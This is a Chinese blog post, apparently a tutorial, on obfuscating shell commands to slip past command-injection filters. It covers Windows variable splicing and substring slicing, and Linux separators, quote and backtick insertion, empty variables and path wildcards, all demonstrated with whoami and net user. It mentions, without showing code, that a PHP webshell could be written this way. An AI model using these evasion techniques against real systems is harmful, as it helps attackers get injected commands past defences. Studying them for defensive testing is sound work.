yvadministrator变量拼接方式四 ^C:>set cmd1=wh""""o # 这里需要偶数,因为在变量拼接结果中有 ^ C:>set cmd3=i""" # 后面正常多少个 " 都行 C:>%cmd1%a^m%cmd3% yvadministrator含有参数的命令,net userC:>set cmd1=s""er C:>set cmd2=t u C:>set cmd3=n^e C:>%cmd3%%cmd2%%cmd1% \YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。 一次性执行多条命令C:>cmd /C "set cmd1=s""ser && set cmd2=t u && set cmd3=n^e && %cmd3%%cmd2%%cmd1%" \YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。Windows环境变量切分C:>set cmd=whoami C:>%cmd% yvadministrator这个0,1表示的数组切片,代表前后切片的索引C:>set cmd=whoami C:>echo %cmd:~0,1% w C:>echo %cmd:~0,4% whoa也可以为负数,负数表示从右边开始数第几个C:>set cmd=whoami C:>echo %cmd:~-4,4% oami C:>echo %cmd:~-6,4% whoa当然也能直接向外部写一个php一句话木马检查是否存在for循环执行命令C:>cmd /V:ON /C "set kpx=awlh2im,xiaoyu&& for %G in (1,3,-3,0,6,5) do set lq=!lq!!kpx:~%G,1!&& if %G==5 !lq:~4!" C:>set lq=!lq!!kpx:~1,1! && if 1 == 5 !lq:~4! C:>set lq=!lq!!kpx:~3,1! && if 3 == 5 !lq:~4! C:>set lq=!lq!!kpx:~-3,1! && if -3 == 5 !lq:~4! C:>set lq=!lq!!kpx:~0,1! && if 0 == 5 !lq:~4! C:>set lq=!lq!!kpx:~6,1! && if 6 == 5 !lq:~4! C:>set lq=!lq!!kpx:~5,1! && if 5 == 5 !lq:~4! yvadministratorLinuxLinux中是区分大小写的┌──(root㉿251ebe86465a)-[/] └─# LS LS: command not found ┌──(root㉿251ebe86465a)-[/] └─# Ls Ls: command not found运算符;表示连续指令,即使前面那条命令报错,后面也会接着执行┌──(root㉿251ebe86465a)-[/] └─# LS;whoami LS: command not found root&只执行正确的那一段代码┌──(root㉿251ebe86465a)-[/] └─# ls&wHoami [1] 59 archive-key.asc boot etc lib lib64 mnt proc run srv tmp var bin dev home lib32 media opt root sbin sys usr Command 'Whoami' not found, did you mean: command 'whoami' from deb coreutils Try: apt install <deb name> [1]+ Done ls --color=auto&&连接两个指令的时候,要保证命令两个命令都能正常执行,否则一个错,就执行不了了┌──(root㉿251ebe86465a)-[/] └─# ls&&whoami archive-key.asc boot etc lib lib64 mnt proc run srv tmp var bin dev home lib32 media opt root sbin sys usr root ┌──(root㉿251ebe86465a)-[/] └─# LS&&whoami LS: command not found|管道符:用于将一个命令的输出作为另一个命令的输入。它允许两个或多个命令之间传递数据。┌──(root㉿251ebe86465a)-[/] └─# ls | grep 'boo*' boot||逻辑运算符:如果||左边的命令执行失败(返回非零退出状态),那么||右边的命令将会被执行。执行成功一个命令后,后面的苏哦有命令都不会执行。┌──(root㉿251ebe86465a)-[/] └─# ip addr || wHoami || ls 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 5: eth0@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0 valid_lft forever preferred_lft forever转义字符┌──(root㉿251ebe86465a)-[/] └─# whoami root'',(),$,``┌──(root㉿251ebe86465a)-[/] └─# who''ami root ┌──(root㉿251ebe86465a)-[/] └─# (whoami) root ┌──(root㉿251ebe86465a)-[/] └─# (who''ami) root ┌──(root㉿251ebe86465a)-[/] └─# `(echo whoami)` root ┌──(root㉿251ebe86465a)-[/] └─# $(echo whoami) root命令引用┌──(root㉿kali)-[/data] └─# t=l;j=s;$t$j 谷歌插件 GitHack mikuLinux特有变量$1,$*,$@,$n这个n表示除0以外的任意数字┌──(root㉿kali)-[/data] └─# who$2ami root ┌──(root㉿kali)-[/data] └─# who$4ami root ┌──(root㉿kali)-[/data] └─# who$*ami root ┌──(root㉿kali)-[/data] └─# who$@ami root ┌──(root㉿kali)-[/data] └─# who$0ami who-zshami:未找到命令Linux通配符我们以执行whoami这个命令来进行测试┌──(root㉿kali)-[/etc/docker] └─# whereis whoami whoami: /usr/bin/whoami /usr/share/man/man1/whoami.1.gz ┌──(root㉿kali)-[/etc/docker] └─# /usr/bin/whoam* root ┌──(root㉿kali)-[/etc/docker] └─# /usr/bin/whoam? root ┌──(root㉿kali)-[/etc/docker] └─# /usr/bin/wh?am? root ┌──(root㉿kali)-[/etc/docker] └─# /usr/bin/????mi root ┌──(root㉿kali)-[/etc/docker] └─# /u?r/b?n/????mi root ┌──(root㉿kali)-[/etc/docker] └─# /*/b?n/????mi rootLinux中命令中的命令虽然会报错,但是命令也会正常执行┌──(root㉿kali)-[/etc/docker] └─# `666666` 666666:未找到命令 ┌──(root㉿kali)-[/etc/docker] └─# 666666`whoami`6666 666666root6666:未找到命令 ┌──(root㉿kali)-[/etc/docker] └─# `6666`whoami`6666` 6666:未找到命令 6666:未找到命令 root ┌──(root㉿kali)-[/etc/docker] └─# 6666`whoami`6666 6666root6666:未找到命令 ┌──(root㉿kali)-[/etc/docker] └─# w`sfdawfewa`ho`sajfdkljas`am`sdjflk123`i sfdawfewa:未找到命令 sajfdkljas:未找到命令 sdjflk123:未找到命令 root ┌──(root㉿kali)-[/etc/docker] └─# wh${sdf}oam${ddkjdld}i root ┌──(root㉿kali)-[/etc/docker] └─# wh${sdf242341}oam${ddkjdld234232}i rootLinux环境变量切割查看环境变量┌──(root㉿251ebe86465a)-[/] └─# echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin查看环境变量的长度┌──(root㉿251ebe86465a)-[/] └─# echo ${#PATH} 60分割环境变量
2025年05月18日
575 阅读
0 评论
0 点赞
1
2